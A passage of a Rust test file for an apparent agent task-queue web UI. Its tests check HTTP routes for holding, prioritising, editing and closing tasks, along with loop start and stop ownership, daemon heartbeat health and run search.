12100 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12101
12102 assert_eq!(res.status, 409);
12103 assert_eq!(
12104 queue.get(&task.id).expect("reload").status,
12105 TaskStatus::Queued,
12106 "the refused hold changed nothing"
12107 );
12108 }
12109
12110 #[tokio::test]
12111 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12112 let f = Fixture::start().await;
12113 let queue = f.queue();
12114 let mut task = Task::new(
12115 "waiting on the migration".to_owned(),
12116 "Do the thing".to_owned(),
12117 PathBuf::from("/repo/magi"),
12118 Source::Human,
12119 );
12120 queue.put(&mut task).expect("file the task");
12121
12122 let held = f
12123 .post(
12124 &format!("/api/queue/{}/hold", task.id),
12125 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12126 )
12127 .await;
12128 assert_eq!(held.status, 200, "{}", held.body);
12129 assert_eq!(held.json()["status_str"], "held");
12130 assert_eq!(
12131 held.json()["hold_reason"],
12132 "waiting for 20260101-000000-aaaa to land"
12133 );
12134
12135 let listed = f.get("/api/queue").await.json();
12136 assert_eq!(
12137 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12138 "the card reads the reason off the same list route"
12139 );
12140
12141 let mut plain = Task::new(
12144 "no reason given".to_owned(),
12145 "Do another thing".to_owned(),
12146 PathBuf::from("/repo/magi"),
12147 Source::Human,
12148 );
12149 queue.put(&mut plain).expect("file the task");
12150 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12151 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12152 assert!(held_plain.json()["hold_reason"].is_null());
12153
12154 let released = f
12155 .post(&format!("/api/queue/{}/release", task.id), None)
12156 .await;
12157 assert_eq!(released.status, 200);
12158 assert!(
12159 released.json()["hold_reason"].is_null(),
12160 "a release must clear the reason so the next hold does not inherit it"
12161 );
12162 }
12163
12164 #[tokio::test]
12165 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12166 let f = Fixture::start().await;
12167 let queue = f.queue();
12168 let mut older = Task::new(
12169 "filed first".to_owned(),
12170 "x".to_owned(),
12171 PathBuf::from("/repo/magi"),
12172 Source::Human,
12173 );
12174 older.id = "20260101-000001-aaaa".to_owned();
12175 let mut newer = Task::new(
12176 "filed second".to_owned(),
12177 "x".to_owned(),
12178 PathBuf::from("/repo/magi"),
12179 Source::Human,
12180 );
12181 newer.id = "20260101-000002-bbbb".to_owned();
12182 queue.put(&mut older).expect("file older");
12183 queue.put(&mut newer).expect("file newer");
12184
12185 let before = f.get("/api/queue").await.json();
12188 assert_eq!(before[0]["id"], newer.id);
12189 assert_eq!(before[1]["id"], older.id);
12190
12191 let raised = f
12195 .post(
12196 &format!("/api/queue/{}/priority", older.id),
12197 Some(r#"{"priority":10}"#),
12198 )
12199 .await;
12200 assert_eq!(raised.status, 200, "{}", raised.body);
12201 assert_eq!(raised.json()["priority"], 10);
12202
12203 let after = f.get("/api/queue").await.json();
12204 let names: Vec<&str> = after
12205 .as_array()
12206 .unwrap()
12207 .iter()
12208 .map(|t| t["id"].as_str().unwrap())
12209 .collect();
12210 assert_eq!(names[0], older.id, "the raised task now sorts first");
12214 }
12215
12216 #[tokio::test]
12217 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12218 let dir = TempDir::new().unwrap();
12219 let repo = dir.path().join("repo");
12220 std::fs::create_dir(&repo).unwrap();
12221 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12222 let q = Queue::at(dir.path().join("queue"));
12223 let ui = Arc::new(Ui::new(
12224 q.clone(),
12225 Questions::at(dir.path().join("questions")),
12226 Talks::at(dir.path().join("talks")),
12227 dir.path().join("runs"),
12228 dir.path().to_path_buf(),
12229 repo.clone(),
12230 ));
12231 let mut t = Task::new(
12232 "seats".into(),
12233 "keep instruction".into(),
12234 repo,
12235 Source::Human,
12236 );
12237 t.runs.push("prior-run".into());
12238 t.hold_manual(Some("waiting".into()));
12239 q.put(&mut t).unwrap();
12240 let change = |count| {
12241 queue_implementers(
12242 State(ui.clone()),
12243 Path(t.id.clone()),
12244 Ok(Json(ImplementersBody {
12245 implementers: count,
12246 })),
12247 )
12248 };
12249 for count in [2, 1, 2] {
12250 let response = change(count).await.unwrap();
12251 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12252 let saved = q.get(&t.id).unwrap();
12253 assert_eq!(saved.implementers(), Some(usize::from(count)));
12254 assert_eq!(saved.runs, t.runs);
12255 assert_eq!(saved.instruction, t.instruction);
12256 }
12257 for count in [0, 4] {
12258 assert_eq!(
12259 change(count).await.err().unwrap().status,
12260 StatusCode::BAD_REQUEST
12261 );
12262 }
12263 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12264 let claim = q.claim(&t.id).unwrap();
12265 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12266 drop(claim);
12267 for status in [
12268 TaskStatus::Running,
12269 TaskStatus::Done,
12270 TaskStatus::Failed,
12271 TaskStatus::Blocked,
12272 TaskStatus::Parked,
12273 ] {
12274 let mut stored = q.get(&t.id).unwrap();
12275 stored.status = status;
12276 q.put(&mut stored).unwrap();
12277 assert_eq!(
12278 change(1).await.err().unwrap().status,
12279 StatusCode::BAD_REQUEST
12280 );
12281 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12282 }
12283 }
12284
12285 #[tokio::test]
12286 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12287 let f = Fixture::start().await;
12288 let queue = f.queue();
12289 let mut task = Task::new(
12290 "in flight".to_owned(),
12291 "x".to_owned(),
12292 PathBuf::from("/repo/magi"),
12293 Source::Human,
12294 );
12295 task.start("20260902-140502-bbbb".to_owned());
12296 queue.put(&mut task).expect("file the task");
12297
12298 let res = f
12299 .post(
12300 &format!("/api/queue/{}/priority", task.id),
12301 Some(r#"{"priority":9}"#),
12302 )
12303 .await;
12304 assert_eq!(res.status, 400, "{}", res.body);
12305 assert!(
12306 res.json()["error"]
12307 .as_str()
12308 .is_some_and(|e| e.contains("running")),
12309 "{}",
12310 res.body
12311 );
12312 assert_eq!(
12313 queue.get(&task.id).expect("reload").priority,
12314 0,
12315 "the refused write must not partially apply"
12316 );
12317 }
12318
12319 #[tokio::test]
12320 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12321 let f = Fixture::start().await;
12322 let queue = f.queue();
12323 let mut task = Task::new(
12324 "old title".to_owned(),
12325 "old instruction".to_owned(),
12326 PathBuf::from("/repo/magi"),
12327 Source::Agent {
12328 run: "20260101-000000-beef".to_owned(),
12329 node: "implement".to_owned(),
12330 },
12331 );
12332 task.runs.push("20260101-000000-beef".to_owned());
12333 queue.put(&mut task).expect("file the task");
12334 let created_at = task.created_at;
12335
12336 let edited = f
12337 .post(
12338 &format!("/api/queue/{}/edit", task.id),
12339 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12340 )
12341 .await;
12342 assert_eq!(edited.status, 200, "{}", edited.body);
12343 let body = edited.json();
12344 assert_eq!(body["title"], "new title");
12345 assert_eq!(body["instruction"], "new instruction");
12346 assert_eq!(body["id"], task.id, "editing must not mint a new id");
12347 assert_eq!(body["created_at"], created_at.to_string());
12348 assert_eq!(
12349 body["source"]["kind"], "agent",
12350 "editing a task an agent filed must not turn it human: {body}"
12351 );
12352 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12353
12354 let reloaded = queue.get(&task.id).expect("reload");
12355 assert_eq!(reloaded.title, "new title");
12356 assert_eq!(reloaded.instruction, "new instruction");
12357 }
12358
12359 #[tokio::test]
12360 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12361 let tmp = TempDir::new().expect("tempdir");
12364 let repo = tmp.path().join("repo");
12365 std::fs::create_dir_all(&repo).expect("repo dir");
12366 let judge = MOCK_AGENT_TOML.replace(
12367 "printf ok",
12368 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12369 );
12370 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12371 let f = Fixture::with_repo(repo.clone()).await;
12372 let queue = f.queue();
12373 let mut owner = Task::new(
12374 "owner".to_owned(),
12375 "review it".to_owned(),
12376 repo.clone(),
12377 Source::Human,
12378 );
12379 owner.review_branch = Some("magi/ab12/A".to_owned());
12380 queue.put(&mut owner).expect("file the owner");
12381 let mut task = Task::new(
12382 "draft".to_owned(),
12383 "old".to_owned(),
12384 repo.clone(),
12385 Source::Human,
12386 );
12387 queue.put(&mut task).expect("file the draft");
12388 let url = format!("/api/queue/{}/edit", task.id);
12389
12390 let refused = f
12391 .post(
12392 &url,
12393 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12394 )
12395 .await;
12396 assert_eq!(refused.status, 409, "{}", refused.body);
12397 let msg = refused.json()["error"]
12398 .as_str()
12399 .unwrap_or_default()
12400 .to_owned();
12401 assert!(
12402 msg.contains("magi/ab12/A") && msg.contains("force"),
12403 "{msg}"
12404 );
12405 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12406
12407 let forced = f
12408 .post(
12409 &url,
12410 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12411 )
12412 .await;
12413 assert_eq!(forced.status, 200, "{}", forced.body);
12414 }
12415
12416 #[tokio::test]
12417 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12418 let f = Fixture::start().await;
12419 let queue = f.queue();
12420 let mut task = Task::new(
12421 "in flight".to_owned(),
12422 "do not touch".to_owned(),
12423 PathBuf::from("/repo/magi"),
12424 Source::Human,
12425 );
12426 task.start("20260902-140502-bbbb".to_owned());
12427 queue.put(&mut task).expect("file the task");
12428
12429 let res = f
12430 .post(
12431 &format!("/api/queue/{}/edit", task.id),
12432 Some(r#"{"title":"x","instruction":"y"}"#),
12433 )
12434 .await;
12435 assert_eq!(res.status, 400, "{}", res.body);
12436 assert!(
12437 res.json()["error"]
12438 .as_str()
12439 .is_some_and(|e| e.contains("running")),
12440 "{}",
12441 res.body
12442 );
12443 assert_eq!(
12444 queue.get(&task.id).expect("reload").instruction,
12445 "do not touch",
12446 "the refused edit must not change the file"
12447 );
12448 }
12449
12450 #[tokio::test]
12451 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12452 let f = Fixture::start().await;
12453 let queue = f.queue();
12454 let mut task = Task::new(
12455 "busy".to_owned(),
12456 "Running right now".to_owned(),
12457 PathBuf::from("/repo/magi"),
12458 Source::Human,
12459 );
12460 queue.put(&mut task).expect("file the task");
12461 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12462
12463 let priority = f
12464 .post(
12465 &format!("/api/queue/{}/priority", task.id),
12466 Some(r#"{"priority":9}"#),
12467 )
12468 .await;
12469 assert_eq!(priority.status, 409, "{}", priority.body);
12470
12471 let edit = f
12472 .post(
12473 &format!("/api/queue/{}/edit", task.id),
12474 Some(r#"{"title":"x","instruction":"y"}"#),
12475 )
12476 .await;
12477 assert_eq!(edit.status, 409, "{}", edit.body);
12478 }
12479
12480 #[tokio::test]
12481 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12482 let f = Fixture::start().await;
12483 let queue = f.queue();
12484 let mut task = Task::new(
12485 "shipped by hand".to_owned(),
12486 "merged outside the loop".to_owned(),
12487 PathBuf::from("/repo/magi"),
12488 Source::Agent {
12489 run: "20260101-000000-b455".to_owned(),
12490 node: "implement".to_owned(),
12491 },
12492 );
12493 task.runs.push("20260101-000000-b455".to_owned());
12494 task.runs.push("20260101-000000-9af4".to_owned());
12495 queue.put(&mut task).expect("file the task");
12496 let created_at = task.created_at;
12497
12498 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12499 assert_eq!(done.status, 200, "{}", done.body);
12500 assert_eq!(done.json()["status_str"], "done");
12501
12502 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12503 assert_eq!(
12504 reloaded.runs,
12505 ["20260101-000000-b455", "20260101-000000-9af4"]
12506 );
12507 assert_eq!(
12508 reloaded.source,
12509 Source::Agent {
12510 run: "20260101-000000-b455".to_owned(),
12511 node: "implement".to_owned(),
12512 }
12513 );
12514 assert_eq!(reloaded.created_at, created_at);
12515 }
12516
12517 #[tokio::test]
12518 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12519 let f = Fixture::start().await;
12524 let queue = f.queue();
12525 let mut task = Task::new(
12526 "landed while held".to_owned(),
12527 "x".to_owned(),
12528 PathBuf::from("/repo/magi"),
12529 Source::Human,
12530 );
12531 task.hold_manual(Some("waiting on 3ed9".to_owned()));
12532 queue.put(&mut task).expect("file the held task");
12533
12534 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12535 assert_eq!(done.status, 200, "{}", done.body);
12536 assert_eq!(done.json()["status_str"], "done");
12537 assert!(
12538 done.json()["hold_reason"].is_null(),
12539 "a done task cannot still be waiting on something: {}",
12540 done.body
12541 );
12542 }
12543
12544 #[tokio::test]
12545 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12546 let f = Fixture::start().await;
12551 let queue = f.queue();
12552 let runs = f.runs();
12553 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12554 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12558
12559 let mut task = Task::new(
12560 "landed by hand".to_owned(),
12561 "x".to_owned(),
12562 PathBuf::from("/repo/magi"),
12563 Source::Human,
12564 );
12565 task.runs.push("20260101-000000-doa1".to_owned());
12566 task.runs.push("20260101-000000-doa2".to_owned());
12567 queue.put(&mut task).expect("file the task");
12568
12569 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12570 assert_eq!(done.status, 200, "{}", done.body);
12571
12572 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12573 .expect("run still on disk under this fixture's own home");
12574 assert_eq!(
12575 reloaded_run.status,
12576 RunStatus::Superseded,
12577 "closing the task by hand must relabel the earlier blocked attempt exactly \
12578 like the loop's own settle path does"
12579 );
12580 }
12581
12582 #[tokio::test]
12583 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12584 let f = Fixture::start().await;
12589 let queue = f.queue();
12590 let runs = f.runs();
12591 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12592 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12593
12594 let mut task = Task::new(
12595 "closed with nothing actually landed".to_owned(),
12596 "x".to_owned(),
12597 PathBuf::from("/repo/magi"),
12598 Source::Human,
12599 );
12600 task.runs.push("20260101-000000-dob1".to_owned());
12601 task.runs.push("20260101-000000-dob2".to_owned());
12602 queue.put(&mut task).expect("file the task");
12603
12604 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12605 assert_eq!(done.status, 200, "{}", done.body);
12606
12607 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12608 .expect("run still on disk under this fixture's own home");
12609 assert_eq!(
12610 reloaded_run.status,
12611 RunStatus::Blocked,
12612 "the last recorded attempt never landed, so the earlier one must not be \
12613 relabelled as superseded by it"
12614 );
12615 }
12616
12617 #[tokio::test]
12618 async fn unknown_ids_are_json_not_found_on_both_stores() {
12619 let f = Fixture::start().await;
12620
12621 let run = f.get("/api/runs/nosuchrun").await;
12622 let task = f.post("/api/queue/nosuchtask/hold", None).await;
12623
12624 assert_eq!(run.status, 404);
12625 assert_eq!(task.status, 404);
12626 assert!(
12627 run.json()["error"]
12628 .as_str()
12629 .is_some_and(|e| e.contains("run")),
12630 "the error names what was not found: {}",
12631 run.body
12632 );
12633 assert!(
12634 task.json()["error"]
12635 .as_str()
12636 .is_some_and(|e| e.contains("task")),
12637 "the error names what was not found: {}",
12638 task.body
12639 );
12640 }
12641
12642 #[tokio::test]
12643 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12644 let f = Fixture::start().await;
12645
12646 let missing = f.get("/api/health").await.json();
12647 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12648
12649 write_daemon(
12650 f.home.path(),
12651 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12652 );
12653 let stale = f.get("/api/health").await.json();
12654 assert_eq!(
12655 stale["daemon"]["running"], false,
12656 "a minute without a heartbeat is a dead daemon, not a busy one"
12657 );
12658 assert!(
12659 stale["daemon"]["stale_for_secs"]
12660 .as_i64()
12661 .is_some_and(|s| s >= 55),
12662 "staleness is reported so the UI can say how long: {stale}"
12663 );
12664
12665 write_daemon(f.home.path(), Timestamp::now());
12666 let fresh = f.get("/api/health").await.json();
12667 assert_eq!(fresh["daemon"]["running"], true);
12668 assert_eq!(fresh["daemon"]["idle"], false);
12669 assert_eq!(fresh["daemon"]["pid"], 4242);
12670 assert_eq!(fresh["daemon"]["completed"], 7);
12671 assert_eq!(
12672 fresh["daemon"]["current"][0]["task"],
12673 "20260902-140501-aaaa"
12674 );
12675 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12676 }
12677
12678 #[tokio::test]
12679 async fn the_loop_is_not_running_until_something_starts_it() {
12680 let f = Fixture::start().await;
12681
12682 let view = f.get("/api/loop").await.json();
12683 assert_eq!(view["running"], false);
12684 assert_eq!(
12685 view["owned"], false,
12686 "nobody owns a loop that does not exist: {view}"
12687 );
12688 assert_eq!(view["stopping"], false);
12689 assert_eq!(view["last_error"], Value::Null);
12690 assert_eq!(view["daemon"]["running"], false);
12691 assert_eq!(
12692 view["repo"], "/repo/magi",
12693 "the repository a start would use, named before it is started"
12694 );
12695 }
12696
12697 #[tokio::test]
12698 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12699 let f = Fixture::start().await;
12700
12701 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12702 assert_eq!(res.status, 200, "{}", res.body);
12703 let view = res.json();
12704 assert_eq!(view["running"], true);
12705 assert_eq!(
12706 view["owned"], true,
12707 "the loop the UI started is the UI's own to stop: {view}"
12708 );
12709 assert_eq!(
12710 view["merge"],
12711 Value::Null,
12712 "no override was given, so each repository's own config decides"
12713 );
12714
12715 let health = f.get("/api/health").await.json();
12719 assert_eq!(health["loop"]["running"], true, "{health}");
12720 assert_eq!(health["loop"]["owned"], true, "{health}");
12721
12722 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12723 }
12724
12725 #[tokio::test]
12726 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12727 let f = Fixture::start().await;
12728 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12729 assert_eq!(first.status, 200, "{}", first.body);
12730
12731 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12732 assert_eq!(
12733 again.status, 409,
12734 "two loops on one queue race for the same claims: {}",
12735 again.body
12736 );
12737 assert!(
12738 again.json()["error"]
12739 .as_str()
12740 .is_some_and(|e| e.contains("already running the loop")),
12741 "the refusal has to say why: {}",
12742 again.body
12743 );
12744 assert_eq!(
12745 f.get("/api/loop").await.json()["running"],
12746 true,
12747 "and the loop that was already running is untouched by it"
12748 );
12749
12750 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12751 }
12752
12753 #[tokio::test]
12754 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12755 let f = Fixture::start().await;
12756 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12757
12758 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12759 assert_eq!(
12760 res.status, 200,
12761 "the answer must not wait for the loop: a run in flight is tens of \
12762 minutes and the operator is holding a phone: {}",
12763 res.body
12764 );
12765
12766 let view = settled(&f, |v| v["running"] == false).await;
12767 assert_eq!(view["owned"], false);
12768 assert_eq!(
12769 view["stopping"], false,
12770 "a loop that has stopped is not still stopping: {view}"
12771 );
12772 assert_eq!(
12773 view["last_error"],
12774 Value::Null,
12775 "a loop that was asked to stop did not fail: {view}"
12776 );
12777
12778 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12781 assert_eq!(twice.status, 200, "{}", twice.body);
12782 }
12783
12784 #[tokio::test]
12785 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12786 let f = Fixture::start().await;
12787 write_daemon(f.home.path(), Timestamp::now());
12790
12791 let view = f.get("/api/loop").await.json();
12792 assert_eq!(view["running"], false, "not in this process: {view}");
12793 assert_eq!(view["owned"], false, "and not this process's to control");
12794 assert_eq!(
12795 view["daemon"]["running"], true,
12796 "but a loop is alive somewhere, which is what the UI must say"
12797 );
12798 assert_eq!(view["daemon"]["pid"], 4242);
12799
12800 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12801 let res = f.post("/api/loop", Some(body)).await;
12802 assert_eq!(
12803 res.status, 409,
12804 "neither button may pretend to work on someone else's loop: {}",
12805 res.body
12806 );
12807 assert!(
12808 res.json()["error"]
12809 .as_str()
12810 .is_some_and(|e| e.contains("4242")),
12811 "the refusal has to name the process the operator must go to: {}",
12812 res.body
12813 );
12814 }
12815 assert_eq!(
12816 f.get("/api/loop").await.json()["running"],
12817 false,
12818 "and the refusal started nothing"
12819 );
12820 }
12821
12822 #[tokio::test]
12823 async fn a_stale_status_file_is_not_a_foreign_owner() {
12824 let f = Fixture::start().await;
12825 write_daemon(
12826 f.home.path(),
12827 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12828 );
12829
12830 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12831 assert_eq!(
12832 res.status, 200,
12833 "a daemon killed a minute ago must not lock the loop out of its \
12834 own home for good: {}",
12835 res.body
12836 );
12837 assert_eq!(res.json()["running"], true);
12838
12839 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12840 }
12841
12842 #[tokio::test]
12843 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12844 let f = Fixture::start().await;
12845 let before = f.get("/api/health").await.json()["loop_rev"]
12846 .as_u64()
12847 .expect("a loop revision");
12848
12849 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12850
12851 let after = f.get("/api/health").await.json()["loop_rev"]
12852 .as_u64()
12853 .expect("a loop revision");
12854 assert!(
12855 after > before,
12856 "the loop is in-process state, so this counter is the only thing \
12857 that tells a second device the first one started it: {before} -> \
12858 {after}"
12859 );
12860
12861 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12862 }
12863
12864 #[tokio::test]
12865 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12866 let f = Fixture::with_loop(launch_broken).await;
12867
12868 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12869 assert_eq!(
12870 res.status, 200,
12871 "starting it is not the failure: {}",
12872 res.body
12873 );
12874
12875 let view = settled(&f, |v| v["last_error"].is_string()).await;
12876 assert_eq!(
12877 view["running"], false,
12878 "a loop that died must not read as running, or the operator has \
12879 nothing to press: {view}"
12880 );
12881 assert_eq!(view["owned"], false);
12882 assert!(
12883 view["last_error"]
12884 .as_str()
12885 .is_some_and(|e| e.contains("read-only file system")),
12886 "the phone is where a loop that died at 3am is visible: {view}"
12887 );
12888
12889 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12892 assert_eq!(again.status, 200, "{}", again.body);
12893 assert!(
12894 again.json()["last_error"]
12895 .as_str()
12896 .is_none_or(|e| !e.contains("read-only file system")),
12897 "a fresh start does not keep showing why the last one died: {}",
12898 again.body
12899 );
12900 }
12901
12902 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12914 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12915 let home = TempDir::new().expect("temp home");
12916 let runs = home.path().join("runs");
12917 std::fs::create_dir_all(&runs).expect("runs dir");
12918 let ui = Ui::new(
12919 Queue::at(home.path().join("queue")),
12920 Questions::at(home.path().join("questions")),
12921 Talks::at(home.path().join("talks")),
12922 runs,
12923 home.path().to_path_buf(),
12924 PathBuf::from("/repo/magi"),
12925 )
12926 .with_worktrees_root(home.path().join("wt"))
12927 .with_launch(launch_knocking_on_the_way_out);
12928 let looping = ui.looping();
12929 let turns = ui.turns();
12930 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12931 .await
12932 .expect("bind loopback");
12933 let addr = listener.local_addr().expect("local addr");
12934 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12935 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12936
12937 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12938 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12939
12940 let bound = std::sync::Mutex::new(None);
12955 hand_over(
12956 home.path(),
12957 &looping,
12958 &turns,
12959 &|_: &[String]| Duration::from_secs(5),
12960 served,
12961 |_| {
12962 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12963 let attempt = loop {
12964 match std::net::TcpListener::bind(addr) {
12965 Ok(l) => {
12966 drop(l);
12967 break Ok(());
12968 }
12969 Err(e)
12970 if e.kind() == std::io::ErrorKind::AddrInUse
12971 && std::time::Instant::now() < deadline =>
12972 {
12973 std::thread::sleep(std::time::Duration::from_millis(10));
12974 }
12975 Err(e) => break Err(e.to_string()),
12976 }
12977 };
12978 *bound.lock().expect("bound") = Some(attempt);
12979 Ok(1)
12980 },
12981 )
12982 .await
12983 .expect("hand over");
12984
12985 assert_eq!(
12986 *PARK_HEARD.lock().expect("park heard"),
12987 Some(200),
12988 "the deck must answer while the loop is parking"
12989 );
12990 let attempt = bound
12991 .lock()
12992 .expect("bound")
12993 .take()
12994 .expect("the successor was started");
12995 assert!(
12996 attempt.is_ok(),
12997 "and the address must be free by the time it is: {attempt:?}"
12998 );
12999 }
13000
13001 #[tokio::test]
13002 async fn a_newer_daemon_status_file_still_renders() {
13003 let f = Fixture::start().await;
13004 std::fs::write(
13007 f.home.path().join("daemon.json"),
13008 serde_json::json!({
13009 "schema": 2,
13010 "updated_at": Timestamp::now().to_string(),
13011 "idle": true,
13012 "surprise": { "nested": [1, 2, 3] },
13013 })
13014 .to_string(),
13015 )
13016 .expect("write daemon.json");
13017
13018 let health = f.get("/api/health").await;
13019
13020 assert_eq!(health.status, 200);
13021 assert_eq!(health.json()["daemon"]["running"], true);
13022 }
13023
13024 #[tokio::test]
13025 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13026 let f = Fixture::start().await;
13027 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13028 let broken = f.runs().join("20260902-140502-bad");
13029 std::fs::create_dir_all(&broken).expect("run dir");
13030 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13031
13032 let list = f.get("/api/runs").await;
13033 let detail = f.get("/api/runs/20260902-140502-bad").await;
13034
13035 assert_eq!(list.status, 200);
13036 let listed = list.json();
13037 let ids: Vec<&str> = listed
13038 .as_array()
13039 .expect("an array")
13040 .iter()
13041 .map(|r| r["id"].as_str().expect("an id"))
13042 .collect();
13043 assert_eq!(
13044 ids,
13045 vec!["20260902-140501-good"],
13046 "one unreadable run must not cost the operator the whole history"
13047 );
13048 assert_eq!(detail.status, 500);
13049 assert!(
13050 detail.json()["error"]
13051 .as_str()
13052 .is_some_and(|e| e.contains("run.json")),
13053 "the failure names the file to look at: {}",
13054 detail.body
13055 );
13056 let health = f.get("/api/health").await;
13060 assert_eq!(health.json()["runs_unreadable"], 1);
13061 }
13062
13063 #[tokio::test]
13065 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13066 let f = Fixture::start().await;
13067 let runs = f.runs();
13068 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13069 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13070 let path = runs.join("20260902-140502-bbbb").join("run.json");
13073 let mut v: serde_json::Value =
13074 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13075 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13076 std::fs::write(&path, v.to_string()).unwrap();
13077 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13078 std::fs::write(
13079 runs.join("20260902-140503-cccc").join("run.json"),
13080 "{ not json",
13081 )
13082 .unwrap();
13083
13084 let res = f.get("/api/search?scope=runs&q=quokka").await;
13085 assert_eq!(res.status, 200, "{}", res.body);
13086 let v = res.json();
13087 assert_eq!(v["total"], 1, "{v}");
13088 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13089 assert_eq!(v["hits"][0]["field"], "text");
13090 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13091 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13092 assert!(
13093 parts
13094 .iter()
13095 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13096 "{v}"
13097 );
13098 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13099 assert_eq!(
13100 flat, "The Quokka leaks across threads",
13101 "whitespace is collapsed"
13102 );
13103
13104 let both = f
13106 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13107 .await
13108 .json();
13109 assert_eq!(both["total"], 1, "{both}");
13110 let neither = f
13111 .get("/api/search?scope=runs&q=quokka%20zebra")
13112 .await
13113 .json();
13114 assert_eq!(neither["total"], 0, "{neither}");
13115 let stmt = f
13117 .get("/api/search?scope=runs&q=mobile%20first")
13118 .await
13119 .json();
13120 assert_eq!(stmt["total"], 2, "{stmt}");
13121 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13122 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13123 }
13124
13125 #[test]
13126 fn snippet_ignores_terms_longer_than_the_field() {
13127 let terms = ["ok".to_owned(), "elephant".to_owned()];
13128 let parts = snippet_of("ok", &terms);
